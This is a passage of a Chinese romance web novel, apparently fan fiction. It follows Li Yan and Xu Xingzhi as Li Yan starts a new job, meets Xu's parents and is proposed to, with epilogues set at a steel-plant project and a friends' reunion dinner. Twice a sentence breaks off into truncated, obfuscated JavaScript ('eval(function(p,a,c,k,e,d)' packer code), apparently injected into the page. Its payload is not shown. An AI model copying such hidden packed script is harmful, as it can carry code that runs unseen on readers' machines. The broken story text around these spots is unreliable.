出门前李炎还去看了看奶奶,悄悄跟奶奶说以后就能经常来看她啦,奶奶虽然不认识他是谁,但拉着他的手特别慈祥地笑着说好好好。走到停车场的时候看了看时间正好是午休,赶紧给许行之打了个电话,说自己面试通过了,说今天晚上一定要好好庆祝下,许行之在那笑着说好,两人又说了些小话,才把电话挂了。李炎走到停车场上拍了拍他的森林人,这老伙计前两天许行之给他弄来了,以后上班也方便了,他看着天边的云,深深吸了一口气又呼了出来,微微扬起了嘴角。 背调和体检被安排在了下周,周末和许行之一起赖床的时候,李炎把被子拉过了头顶,问许行之自己以后会不会班味很重,许行之逗他说那可说不好,等着以后就得把昵称改成小漂亮或者不漂亮了,李炎就在被子里踹了他一脚,问他你都上班这么多年了,怎么都看不出班味,许行之就把自己也蒙进了被子里,凑到李炎的面前让他再仔细闻闻,李炎就笑着说他骚味儿重,都顾不上斯文的那种败类,还爱装老神仙,明明就是……就是……话被许行之的嘴堵住了,再出声儿的时候就变了调,被子鼓起来又从肩头滑到了地上,李炎跪坐了起来,手向后撑的时候不小心碰到了蜷在床尾睡觉的毛肚,喵的一声惊醒了就跳下了床,李炎都没来得及给它赔礼道歉,就又被颠了一下,李炎觉得许行之有的应该不是离心力,而是让人无处可逃的地心引力,让他心甘情愿地越陷越深。 晚上约了顾飞和蒋丞一起吃饭,正在镜子前洗脸的李炎看到自己脖子上有个遮不掉的红印子,都和许行之说了今儿要出门让他别太过分,指着这印儿去声讨的时候许行之一脸无辜,说自己已经很收敛了,才只留下了这么一个,放开了能让他知道什么叫雨打沙滩万点坑,李炎又好气又好笑,都找不出词儿说他,心里叹了一口,和文化人谈恋爱就是吃亏,还是哑巴亏。 四个人再聚到一起的时候,顾飞和蒋丞进来的时候眼神儿就不一样了,和许行之打了招呼后就一个劲地瞧李炎,带着贼笑,顾飞还特意炫耀了一下最近爱消除的战绩,问李炎服不服。 李炎简单瞟了一眼,就喝了口水啧啧了两声,“我都不用看,就知道肯定不是你玩的,家属出力了吧?” “哎呦,听这口气是不服呢,”顾飞看了看蒋丞,露了个特灿烂的笑脸,“他嫉妒我有家属。” 蒋丞心领神会,“噢……那他没有家属吗?” “没有家属吗?”顾飞瞧着李炎挑了挑眉。 “操……”李炎都被他俩给整乐了,“怎么的,玩爱消除以后要以家庭为单位了?” 许行之这时候说了句话,“嗯?超了几关?” “不多不多,三关而已。”顾飞笑着对许行之说。 服务员这会儿来了,给大家添了水又问可以点菜了没,李炎就让顾飞蒋丞他俩点,许行之拿过了李炎的手机,解了锁屏后就点开了爱消除,李炎就侧着脑袋往屏幕上看。拿着菜单的顾飞和蒋丞对视了一眼,都憋着笑,还是顾飞清了清嗓子,“你这,不也是以家庭为单位么?” “就许你有家属啊?”李炎脑袋都没抬,直接蹦出来了句。 “噢……”顾飞笑得合不拢嘴,“好巧啊,你也有家属了啊?” “别招我啊,我家属正发力呢。” 蒋丞冷不丁跟了句,“是,挺大力,脖子都红了。” “哎呦我操,你俩能不能行了。”李炎觉得这俩人就该天生一对。 说话间许行之把手机递给了李炎,笑着对他说,“咱们家大度点儿,超他们两关就行。” 李炎拿着手机一看,许行之短时间内破了五关,不愧是大聪明,李炎对着顾飞挑了个眉,“哎!欢迎来战,喜欢您来。” 四个人热热闹闹地吃了顿饭,在听说李炎以后就在这儿的时候顾飞很明显地看了看他,李炎知道顾飞想问什么,就把自己要去做护理员的事儿和他俩说了,蒋丞和顾飞沉默了一会儿,顾飞有些心疼,他最知道这样的感受,接连着上次的电话也差不多知道这俩人也闹过了,但李炎这年纪了还能扔下汽修店义无反顾地到许行之身边,还愿意一切从头来过,这份勇气令人惊叹。 这次两家都开了车,就没要酒,但顾飞还是拿着茶杯举了起来,其他三人也拿了茶杯,顾飞先是看了一眼蒋丞,又看了看李炎和许行之,他说之前的不容易就都不提了,但往后的路一定光明平坦,这杯茶,敬每个人的不辜负。 “敬不辜负!” 出店门的时候蒋丞和许行之在聊顾淼的事,顾飞自然而然就和李炎走到了一起,俩人对视了一眼,就都笑了,这个眼神里涵盖的内容太多,有在钢厂时的少年情谊、也有各自的挣扎与坎坷,有对故乡复杂的眷恋、也有在他乡的懵懂的勇气,顾飞拍了拍李炎的背,李炎捶了他肩膀一拳,不用说话,鼓励就都在心里了。 回去的路上李炎给老李打了个电话,说了自己下周要去上班的时候,老李兴奋地喊了一声,但在开口说自己要去做护理员的时候,李炎还是有些气短了,本来以为老李是要骂他两句,结果骂是真骂了,但骂的理由却令李炎意外,老爷子说他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“想去吗?”许行之又问了一遍。 “……会不会太快了。”李炎的声音里带着不确定,“还没……没处多久呢。” “上回你告诉我没处几天,不要对你太上心,”许行之笑叹着,“这回告诉我没处多久,下一句话要说什么?” 李炎咽了口唾沫,“不是……我、我有点紧张,你这怎么临时起意啊?!” “不算临时了吧,起好久了,算蓄谋已久。” “放屁,你这明明叫诡计多端、处心积虑!” 许行之笑得都不行了,心里叹着可不能在高架上这么不稳重,“去不去啊?” 李炎没说话,许行之瞟了他一眼。 “不去就算了啊,反正我爸上上礼拜让我回去我也没说准啥时候回。” 还上上礼拜,你咋不说上上上上礼拜,李炎觉得许行之的言语艺术简直登峰造极,不好拒绝不说,还要人主动说去,但这人就有这样的能耐,你一点办法都没有。 李炎啧了一声,“去去去,明天谁不去谁是狗。” 许行之心里感慨,大漂亮这张牙舞爪的模样,可真是太可爱了。 36. 第36章 “随便穿个T恤就行了,不用搞那么隆重。”许行之对着屋子里正换衣服的李炎说道。 李炎刚把衬衫拿下来,刚刚连之前许行之买的西装都试了,但总感觉哪里不对,听到许行之的话他气不打一处来,“上门呢!怎么能不隆重点!?”可无论试什么衣服都觉得有点奇怪,好像有点儿太过了,还是干净随意些,最后还是选了件白底的T恤,又拿了条浅卡其色的裤子,从屋子里走出来的时候,许行之正在客厅里正在戴李炎给他的皮筋。 “哎哎,你……”李炎觉得许行之有的时候也挺轴的,“这玩意就别戴了。” “为什么?” “这不是……异地恋的时候戴么,”李炎说,“同地恋的时候就不用戴了。” 许行之若有所思,拖长尾音地“噢”了一声。 李炎走近了,许行之就把他拉过来,抱在怀里,在他耳边轻声说:“你今天真好看,看起来特别清纯。” “老子……”刚说了这话李炎就收了回去,他决定今天一天不能说脏话,“我本来就特别清纯。” “嗯,是,”许行之肯定了李炎的说法,“叫的时候尤其清纯,婉转、动听,让人欲罢不能。” “……你他、你一天不说骚话难受是吧?”李炎抓着许行之的手重重地捏了他一下。 许行之咬上了李炎的耳朵,“你之后上夜班了,我们晚上碰面就少了,要抓紧时间。” “大爷,您可是一天也没闲着。” “不够。” “多少是够?” “怎么都不够。” 李炎也笑了,外人看来冷静自持节制克己的许医生,在自己这块儿跟个大型犬似的,还是个贪得无厌的大型犬。 “别闹,”李炎抚了抚许行之的背,“走吗?我们得去买点东西吧,我总不能空手去。” “行,虽说你只要去了就不算空手,但你说要买,咱就去买点儿。” 两人启程之前去了趟超市,李炎买了燕窝和西洋参,说这样就都照顾上了。 许行之父母家在近郊的一个别墅小区里,进了小区门后保安直接和许行之打了招呼说“许医生回来了啊”,许行之笑着点了点头后就开了进去,李炎问他怎么保安都认识他,他说这也算个老小区了,住的户数不多,物业也尽责,业主也基本都认识,李炎就哦了一声。来之前许行之和他父母打过了招呼,李炎这会儿就算是心里哆嗦也不得不硬着头皮上了,许行之把车停到了自家车位的时候,李炎长长地呼了一口气。 “紧张?”许行之问他。 “嗯……” “要再坐会儿吗?” “再坐一分钟。” “好。” 俩人就在车里又多坐了一会儿,李炎突然就把安全带解下了,推开了门下去,“快快快,趁着我一鼓作气!” 许行之也跟着下去了,两人站到了家门口的时候才反应过来,买的东西没带上来,李炎刚想回头去拿,门就开了,露了一张中年人的脸出来,这脸型轮廓一看就是许行之他爸。 “来了啊,怎么不进来,看你们在门口站好半天了。” “啊,来了。”许行之笑着让李炎先换鞋。 “叔、叔、叔叔好……我是李炎。”李炎磕巴得不成样子。 许爸爸也笑了,招呼着赶紧进去,“你也好你也好,快进来。” 直到进了家门,他才打消了以为许行之爸妈是富一代的想法,家里没有很现代化的装修,木制的东西更多一些,随处可见的书,在沙发上、餐桌上,还有在门口鞋架上的,许行之经过一个地方就收一本书起来,最后摞起来放在沙发前的茶几上,“爸,你这随手乱放东西的毛病什么时候能改改。” 许爸爸不好意思地挠挠头,“哎看了就不记得放哪了,你妈也老说我。” 许行之带着李炎进了客厅,没见着他妈,“我妈呢?” “买菜去了,上回听你奶奶说你带了个小姑娘去见她,把她高兴坏了,”许爸爸间隙又对李炎说了声不好意思,说家母生着病神志不清醒不要怪她,“交代了一定要炖胖头鱼汤给你俩喝,说小姑娘爱喝但是家里不常做。” 李炎挠了挠头,有些不好意思,倒是许行之一点不避讳地捏了捏李炎的手。 正说着话呢,门开了,许行之妈妈就进来了,看到许行之已经到了家,旁边还站了一位,立马就笑了起来,“行之回来了啊,这是小炎吧?哎呦,我们小炎长得真好看啊。” 李炎立刻就站了起来,“阿姨好,我是李炎,我我我来帮您拿。”李炎正要走过去呢,许妈妈直接说了不用不用,又招呼了许行之他爸去拿东西,说着就对李炎眨了个眼睛,“你以后有什么东西也让行之给你拿,啊。” 这一家子,三个性格。 晚饭到底也没让李炎搭把手,许妈妈就让许行之带他上楼玩儿,说一会吃饭了叫他们,李炎还有些局促,许行之说了声没事就牵着他的手上去了,进了许行之的房间。 许行之的房间……看起来所有的家具都非常老了,这和李炎对许行之的了解有些不同,但手抚上去的时候,却没有落灰的痕迹,许行之的床很小,看起来大概只有四尺左右,桌椅都有经久使用的痕迹,李炎的手指掠过书桌,又到了书架上,发现这些书里好多都是初中的读物了,他看向许行之的时候,许行之正对着他笑,他看明白了李炎眼睛里的疑问。 “我高中之后就寄宿了,一直到现在,回家的时候不多。” 李炎伸手拿过了他书桌上唯一的一个折叠相框,左边是小时候的他和爸妈,右边应该是……和爷爷奶奶,仔细看来,许行之小时候还是个娃娃脸,下巴尖尖的,剪了个锅盖头,眼睛挺大、很有神,就是不爱笑,没什么表情。 “那会儿青春期,又觉得一切来得太容易,有点儿……厌世。” 书架上放了个模型,好像是硬纸板做的,但又不太像现成的那种玩具,颜色都好像是自己后面涂上去的,是好几个不规则的球体黏连在一起,有些支出来一些杈杈,有些则没有。 “初中的时候,化学老师让我们找一个能表现生命力的东西来当作业,我就做了这个模型。” 李炎又在书架中找到了一个沙漏,非常简单的一个装置,他用手拨了一下,上下颠倒了一次,沙子流得很细、很慢,沙的平面上多了一个小小的凹槽。 “这是我生日那天去文具店玩抽奖抽中的,算是生日礼物了,漏一次的时间是三分二十三秒。” 李炎不知道为什么,鼻子有些发酸,眼眶有点湿润了,他好奇许行之的抽屉,看了看他没说话,许行之就对他点了点头,拉开了抽屉后,除了笔记本外,有好几沓用皮筋绑起来的卡片,还有一些玻璃珠子,李炎好奇地拿了一沓卡片出来。 “小时候吃的零食送的,怎么都集不齐,就买了很多回来吃,吃不下也硬吃,但好像一直没集齐过。” 李炎咬了咬嘴唇,忍住了鼻子的酸劲儿,但嘴角却往下瘪了瘪,他咽了口唾沫又打开了第二个抽屉,里面散落着很多黑色水笔,和一捆写完了的笔芯,还有着一盒圆规,几支考试用铅笔,和一叠厚厚的用过的草稿纸。 “那时候刚接触竞赛,我觉得挺有意思的,无聊的时候就会一直做竞赛题,后来有集训了,就不怎么在家里做题了。” 李炎轻咳了一声,用力眨了眨眼睛,还是没忍住用手捏了捏鼻子,他走到了许行之身边,轻轻环住了他的肩膀,落下的一滴泪在许行之的衣服上氲了个水痕,许行之鼻子也有些发酸,回抱住了他。 哪有小男孩这么文静的啊,正经玩具没有不说,连个伙伴的影子都没看到过。 “孤独吗?”李炎问他。 许行之哽咽了一下,“嗯。” “怎么从来没听你说。” 许行之不知道该怎么回答,寂静如水的日子,不知道从何说起,也不知道有没有说的必要。 李炎又问:“高中也这样?” “嗯。” “大学好一点了吗?” “好一点了。” “因为交了男朋友?” 许行之笑了一声,“嗯。” “但又孤独回去了吧?” “是啊。” 李炎抱着许行之的胳膊紧了紧,“我会陪你的,许行之,你有我呢。” “好,”许行之也紧紧抱住了他,“一言为定。” 许妈妈叫他们下楼的时候,李炎放松了不少,帮着拿碗筷,还帮着盛鱼汤,许妈妈做的饭很好吃,李炎还添了第二碗饭,饭桌上李炎也会和许行之爸妈开玩笑,许妈妈说他们家吃饭一直冷冷清清的,要是行之早些认识李炎就好了,家里吃饭就能热闹些了,李炎说那他以后常来,许妈妈让他说话算话,李炎点头的时候在桌子下握了握许行之的手。 饭后他们几个坐在沙发上聊天,父母二人对视了一眼,还是许妈妈开了口,“小炎,你别怪我们问得唐突,阿姨就想确认一下,你和行之是打算以后一直在一起了吗?” 李炎看了看许行之,许行之对着他点了点头,李炎吸了口气,特别认真地点了点头,“嗯,打算一直在一起。” 父母二人又笑着对视了一眼,许妈妈又说道:“哎,好好,我们家就是会读点书、搞点研究,别的没什么擅长的,生活上还请你多担待了。” “阿姨,叔叔,”李炎抿了抿嘴,“您们的儿子很优秀,遇上他是我撞大运了。” 许行之一下就笑了出来,大漂亮又开始犯萌了,父母二人也笑了出来,点了点头。 来之前许行之就把李炎的基本情况和父母说了一下,爸妈二人非但没有在意他的出身以及经历,反而特别心疼这个孩子,也为李炎的勇敢和坚韧感到动容,他爸说李炎这孩子其实没什么一定要从钢厂那边出来的理由,唯一让他愿意跳出来往外走的原因就是他,让许行之再三谨记一定要对李炎好,多好都不过分,千 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“啊?”李炎觉得许行之可能今天智商没带在身上,把粉色大钞都倒了出来后把红包捏得鼓了起来,才看到有一张小小的绿色纸币贴在红包内侧,李炎伸了手指把它夹了出来。“这怎么还带个一块的?” 许行之捏了捏他的脸,笑着说:“看来准漂亮儿媳挺满意的。” 李炎啧了一声,“什么啊?” “万里挑一,”许行之挑了挑眉,“你准爸妈给你的见面礼。” 李炎一下子噎住了,说不出话,这……这一家子,都这么直白的吗? “不想要的话,我现在回去还给他们也行。” “谁说我不想要了,”李炎又利索地把一万零一元纸币都塞了回去,“都是我的!” 一年后。 一个周五,李炎正好白班下班,许行之让他去三院找他一下,说是今天要加班,估计挺晚的,李炎就开着车去了,到3楼的时候,他收到了许行之的消息,说他正好在休息呢,就在三楼平台这里,李炎就也没进办公室,直接往平台那走了过去。 开了门后,他看到地上铺了两根长长的星星灯串,一闪一闪的,好像在吸引他往前走,这么想的时候他就这么走了,最前端的地方,用星星灯在地上画了个圈,他刚走到那里,三楼平台的门就开了。 许行之穿了一身的西服,手上拿着一束红玫瑰,从平台的门口,一步一步、一步一步向李炎走来,天色已经很晚了,但李炎还是能看到许行之的笑,许行之的镜片上反着星星灯的光亮,李炎就觉得好像天上的星星掉落在了许行之身上一样,他走到跟前的时候,李炎突然觉得有点晕,他好像知道许行之要做什么,但他还是有些不敢想。 许行之看着李炎的眼睛,没有丝毫犹豫,他单膝跪下,向李炎求爱—— “李炎,你曾经问过,我是不是你命里的那棵草,我说我愿意做你命里的路,虽然我这条路在你已经走过的这一段,也有缝缝补补,但我在此向你发出正式邀请,希望你能与我并肩同行、风雨兼程,我——许行之,也在此向你郑重承诺,永远爱你、保护你、予你喜悦以歌、予你伤痛以吻,用我的双手照顾你,用我全部的心意温暖你,请你答应我的请求,做我此生唯一的伴侣。” 李炎在许行之说出第一个字的时候,就红了眼眶,他不抱希望的人、他不敢期待的事,许行之一一都为他实现了,许行之说完了,李炎也早已泪眼模糊,他拿过了许行之捧着的花,让许行之赶快起来,可许行之却倔强地一定要把流程走完。 “李炎先生,请问你愿意与许行之先生共度一生吗?” “我愿意。”李炎抹了下眼睛,也跟着问了一句,“许行之先生,请问你愿意与李炎先生长相厮守吗?” “我愿意。” 李炎将许行之赶紧拉了起来,问他怎么在医院搞这么大阵仗,刚紧着又要念叨两句的时候—— 许行之将早已准备好的莫比乌斯环状的戒指拿了出来,拉过了李炎的左手,戴在了他的无名指上,许行之又把另一个交到了他手上,让李炎给自己戴上。 平台上没有灯,就只有天上的月与地上的星发着亮,李炎觉得这个形状很好看,问许行之是什么意思。 许行之说,这代表“无尽的爱”。 他们在星月中拥吻。 回去的时候,李炎问他怎么想起来今天整这么一出。 “想好久了,一直找不到你周五白班的时候,挺着急的。”许行之说。 李炎说:“我还以为是因为明天要去接我爸了,你想先斩后奏呢。” “你爸早就准奏了。”许行之笑他,“就数你最难搞了,大漂亮。” “许行之我揍你啊!!” “我好怕啊。”许行之笑着就把李炎搂进了怀里。 李炎抬头看着许行之,在他耳边轻声留了一句,“我爱你。” (正文完结) 37. 番外 “喂,李炎啊,你到哪里啦?”已经是钢厂工会主席的赵建明拿着电话在办公室里来回踱步,眼见着和书记约的会议时间都要到了,这人还没进钢厂,简直让人着急。 “在停车在停车,钢厂那么老大一个地方,还不让人停进去,门口就这么几个停车位够给谁的啊。”李炎对赵建明还是那么不客气,一点儿抱怨都没少。 “直接到818啊,我先上去了,你抓紧点儿。” “知道了,来了来了。” 李炎拉好了手刹,看向了副驾的许行之,深吸了一口气。 “紧张吗?”许行之问他。 “紧张,”李炎说,“钢厂领导我见过不少,这么大的我还是第一次见。” 许行之拉过了他的手握着,“没问题的,前期都谈得差不多了,临门一脚的事。” “一会儿我跟他们聊吗?”李炎问道。 “你主导的项目肯定是你跟他们聊,”许行之笑了笑,“我打辅助。” 李炎郑重地点了点头,“走吧。” 在疗养院做护理员的这几年,李炎不仅在实操上积累了相当丰富的经验,理论学习和知识储备上也下了苦功夫,已经具备了高级护理员资格。护理长大姐见他不仅吃苦耐劳,在护理老人的同时还特别关照他们的心理健康,小李已经成为了这家疗养院的金牌护理员,锦旗都收了不下十几面了,还有儿女不常来看望的老人想直接把遗产留给他的,李炎听了就哄老人开心,转头就给儿女打电话让他们常来。除此之外,李炎还下了苦功夫学习了管理方面的知识,每每在疗养院有新方向和新决策的时候,都积极向院长请教探讨,一来二去的,院长也给了他更多管理方面的实践机会。 “资料都在包里了是吧?”站在电梯口的李炎问许行之。 “在,下车之前我又看了一遍。” “转接器,”李炎手在空气里点了点,“转接器带了没?” “带了,”许行之笑了笑,“不好用的话我这还有个备用的。” “笔记本电量够不够了?” “够,”电梯来了,许行之右手把着电梯的门,“请吧,李总?” 李炎噗地一声笑了,“严肃点,别搞我。” 这次回钢厂还是得益于老职工的心理调研,以许行之为代表的课题组后续又来了钢厂两次,经过综合评估发现主要矛盾还是集中在康复和疗养上,无论是工伤还是因为自身原因,老职工们最殷切盼望的就是身体能够得到好的照料,还在职也好、退休了也好,正是劳碌了大半辈子准备歇息的时候,但要是有个病痛伤残的,别说心理健康了,身体健康都有没保障。 钢厂新来的领导是上级单位派下来的,比较注重这一方面,于是就拨了预算希望改善一下现状,就牵头立项了钢厂的老职工疗养中心。通过许行之导师的推荐以及钢厂综合评估,计划与李炎所在的疗养院以及B市的三院心理临床科共同合作设立一个小型的疗养中心,先通过重点关怀人员的疗养试点运营,再根据运营情况评估是否扩大规模,李炎此次就是作为疗养院代表来汇报疗养中心的初步计划,许行之则作为三院的心理专家顾问来参会。 李炎从来没想过会以这样的身份再与钢厂建立联系,也没想过自己的工作会与许行之有交集,换做以前,他是不敢想,但现在怀揣着扎根学习的知识和实践经验,在疗养护理方面也是实际执行过来的,他觉得没什么不能想的。人嘛,还是要有梦想、有目标,脚踏实地就能仰望星空。 许行之这几年来也成功晋升为了副主任医师,他的导师和师兄太知道他的长处在哪儿了,建议他多做案例研究拓宽本土心理临床领域的研究边界,如果要说可惜的话,就是不太坐诊了,有些长期来看诊的患者,还会偷偷打听那个超级帅的医生怎么不在。 一场汇报下来,赵建明的汗都擦了好几回了,李炎都为他担心,都工会主席了,见领导怎么还这么哆嗦。直到领导沉思了几乎能有两三分钟,提出了几个实质性的问题后,才眼见着赵建明放松下来,他知道这个动静代表着整体方案上没什么问题,能够执行的可能性很大。 会后赵建明问了李炎老李现在的状况,李炎说在疗养 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“真有。”许行之伸了手拇指蹭了下李炎的脸颊,拈下来一根掉了的眼睫毛,“你看。” 李炎啧了一声,“这么根小眼毛都不放过。” “嗯,一根毛都不能放过。” “许医生还是一如既往地变态啊。” 许行之笑着伸了个懒腰,“偷着乐吧你就。” 李炎说钢厂疗养中心真要办了的话他可能还得回来驻扎个几年,许行之说他知道,不会让李炎一个人单独回来的,许行之又调侃说没想到为了追李炎,还给自己在这儿创了份工作,李炎就骂他不要脸,这冥冥之中的事儿又有谁知道。 回程是许行之开的车,车里放着音乐,李炎跟着一起哼着调。 上了高速路后,李炎问他,“你有没有觉得钢厂这儿变得越来越好了?” “日子总会越过越好的,人也一样。” (全文完) 38. 番外2 小锦江湖菜今天闭店,卷帘门拉着,有只大黄狗过了马路到店门口,冲着汪汪叫了几声,尾巴摇得都快抡起来了,才有个人从侧边端了个碗出来。 顾淼蹲了下去,把不锈钢盆放到了地上,“狗狗,吃饭。” 大黄狗一点没客气,吭哧吭哧地吃着,好像还噎了一下,停顿了会儿抽了口气,又接着吃了起来。 顾淼伸手摸了摸它的脑袋,哼起了小调,眉眼一弯笑了起来。 有个穿着棉麻衬衫长得挺帅的小伙子走到了顾淼旁边,也蹲了下去,歪过头对顾淼呲牙一笑,“喂小狗呢?” 顾淼看着他笑意更浓了一些,点了点头,还“嗯”了一声。 “走吗?”伍一问她,“要开饭了。” 这次顾淼是先回答了一个“好”字才起的身,要往里走的时候,好像突然想起了什么来,转过身对伍一伸出了手,伍一就握了上去。 两个人进屋了后,藏在墙角边上的蒋丞和顾飞才走出来,大黄狗听见动静抬头看了他们一眼,盆里还剩一些骨汤泡饭,见这俩人好像没有赶它的意思,又继续埋头吃了起来。 “你干嘛啊,一脸不爽。”顾飞笑着问蒋丞。 蒋丞抬手揉了一下眼睛,“你妹被人拐跑了你爽?” “不爽,”顾飞顺着蒋丞的视线也朝着顾淼和伍一进屋的方向看,“但这么多年了,你也见着了,人小伍也没什么坏心思,就单纯喜欢你妹。” “是,要不也不能让他俩谈恋爱,”蒋丞转过来看向顾飞,“我之前还老担心他喜欢玩什么救赎,就拿二淼当案例呢。” 顾飞摇头笑了笑,拽上了蒋丞的胳膊,“行了,去吃饭了,二淼见不着你不动筷子都。” “是吗?”蒋丞脖子往后一仰,问得有些得意。 “不是,”顾飞喷了一口,“她饿了就吃。” 蒋丞啧了一声。 顾飞才放软了声音,对他眨了眨眼睛,“我饿了,丞哥。” “哎呦,”蒋丞也对着顾飞笑,“早这么说不就完了,你老公还能不听你的。” 顾飞转身朝里走的时候撂下了一句话,蒋丞没来得及反驳,他就进屋了。 “反正放假,今晚你嗓子什么时候喊不出声儿,咱什么时候睡。” 散桌上没有客人,前厅里连灯都没有开,柜台上趴着一只橘白猫猫,尾巴垂了下来,听见有人走进来了,就耳朵抖了一下,又扫了一下尾巴。 蒋丞推开包厢门的时候,热闹就一下子涌上来了。 王旭喊着,“你俩也太慢了,等着我儿子一会儿醒了指定要闹,我可不想饿着肚子哄娃。” “九日,你现在奶爸当上瘾了啊。”李炎笑着说。 “哎你不知道,我家俩孩儿,闹腾的时候能把屋顶给掀翻了,我媳妇生就够辛苦的了,带娃这事儿还是我来合适。” 易静比学生时代看起来更丰腴了一些,气色好太多了,面颊上都透着红润,她笑着看了看王旭,又点了点头,“家里的事是他做得多一点。” “当代男模!”刘帆跟了一句。 “什么男模,”顾飞坐下的时候顺手推了一下刘帆的额头,“文化水平还这么次呢,楷模。” “是是,楷模。”刘帆憨憨笑着。 “许教授什么时候到啊?”蒋丞也坐了下来,朝着李炎抬了个头。 “他昨晚写报告呢,整到挺晚,我们先吃,不用等他,一会儿来了直接坐下吃就行。” 潘智耷拉着脑袋,“哎,你们这都成双成对的,我就一个人,太难受了,以前还有九日陪我。” “哎哎,怎么说话呢,”王旭笑着啐他,“你又不是没媳妇,活该你嘴上没把门啊,把媳妇惹生气了不跟你来了吧。” “肖老板这脾气啊……”潘智眼神都有些迷了,“跟结婚前完全一样,还是无法拿捏。” “行了,”蒋丞拍了他的背一下,“你就庆幸自己还被拿捏着吧。” 顾飞让大家把酒杯都凑在一块儿,他挨个倒了酒,又放回了转台上,除了王旭易静、伍一和顾淼,每个人都拿了一杯,李炎还多要了一杯,放在了自己旁边的空位上。 “你这满心满眼的许教授啊。”顾飞瞥了他一眼,手里动作没有停,给伍一和顾淼拿了一瓶啤酒。 李炎笑骂了回去,“关爱家属也值得你单独拿出来说。” 顾飞没搭理他,对伍一说道:“你俩就一瓶,多了没有。” “大飞哥我有数。”伍一笑着回他,先给顾淼倒了大半杯,自己又倒了小半杯。 “啧,”蒋丞瞧着又来了脾气,“你给二淼这么多干什么?” 没等伍一解释,顾淼就开了口,“爱喝。” 对顾淼这个不知道是直球还是护夫的回答,蒋丞一时有些下不来台,明明是顾飞规定的就一瓶,人多给自己妹妹喝两口怎么了。 还好,顾飞这会儿已经拿起了杯子往玻璃转台上磕了两下,“来来来,走一个先。” 饭菜都是刘立亲自给准备的,顾飞妈还说呢,自己没什么拿得出手的,就这小老公还不错,跟他交代顾飞同学要来这聚会的时候,人直接把这活儿就揽了下来,虽然洗切工和徒弟大有人在,但这一桌都是刘立亲自操办的,顾飞妈想帮忙,人还不让,倒了杯可乐又拿了把椅子放在后厨门口,硬是把顾飞妈往那一放,说看着他做饭就是给动力了,算出了一半的力。顾飞和蒋丞听完顾飞妈的描述,两个人都皱着眉抿着嘴,跟被喂了一嘴工业糖精一样,齁得都说不出话来。 不过菜是真的好吃,吃多了外头的菜,能明显地吃出这些菜里头的锅气,桌上的人都大快朵颐。 李炎问刘帆媳妇怎么没跟着来,刘帆一边憨笑一边得意,说媳妇有了,刚满三个月,不太方便就不来了,李炎就捶了他一下,“你小子行啊,这么漂亮的姑娘说拿下就拿下了。” “这事儿吧,主要还是得感谢许哥,”刘帆喝了一口酒,“要不是当初他那一闹,我还不一定能成得了。” “哦?感谢我什么?”许行之推门进来了,把手里的东西先放到了包厢里的柜子上,又在李炎的背上搭了一下,再和大家打了招呼坐下了。 “啊,哈哈,”刘帆有一种背后说人话被抓包的感觉,挠了挠头有些尴尬,“没、没事儿。” 许行之看到面前已经有一杯倒了酒的酒杯,转过头就对着李炎笑,“你给我倒的?” “想得挺美,”李炎白了他一眼,“顾飞倒的。” 顾飞立马抢答,“酒是我倒的,但杯子是他拿的。” 许行之笑了一下,拖长了尾音“哦——”了一声,李炎就瞧不得他这个动静,嘴里“啧”了一下,许行之就伸手在桌子底下揉了一把李炎的大腿。 一桌人吃着喝着笑着闹着,时间好像被按下了暂停键,又被一双大手推了回去,桌边三十好几的几个人都换上了校服,顾淼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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临近结束的时候,许行之才把自己带过来的东西放到了桌上,李炎也跟着一脸疑惑,打开的时候发现是个蛋糕。 “来晚了,也来得匆忙,”许行之说,“难得大家聚在一起,吃个蛋糕庆祝下吧。” 不是很特别的造型,非常简单的款式,大体是白色的,最上面做了一圈粉色的奶油花瓣造型,顾淼兴奋得先拍了拍手,然后转头对着伍一说道:“想吃。”伍一就小声跟她说:“等一会儿我们就能吃到了。” 大家伙儿站起来的时候,才看到蛋糕上面写了八个大字,看字迹应该是许行之自己拿着巧克力裱花袋挤上去的。 众人分着吃的时候都特别满足,刘帆还强烈要求留了一小块带回去给媳妇,弄得潘智也另外要了一小口,装在了打包盒里,他说一会儿就买高铁票回去,今天必须看着肖磐把这一口蛋糕吃进嘴里。 蒋丞和顾飞对视了一眼,又齐齐看向顾淼和伍一,无声交流里都是幸福。 就是许行之伸手揩去李炎嘴角奶油的时候,李炎在大家的起哄里上了脸,大喊了一句许许行之你能不能在外面收敛点。 回去的时候,李炎问许行之怎么想着写那几个字,许行之说,没什么特别的寓意,就是真实写照而已。 李炎左右看了看没人,悄悄在许行之靠近耳垂的面颊上亲了一口,“家属你真棒。” “行,”许行之把人揽了过来,也在李炎耳边说,“放假了,棒也可以是个名词,今天晚上就教你。” 生活美好, 未来可期。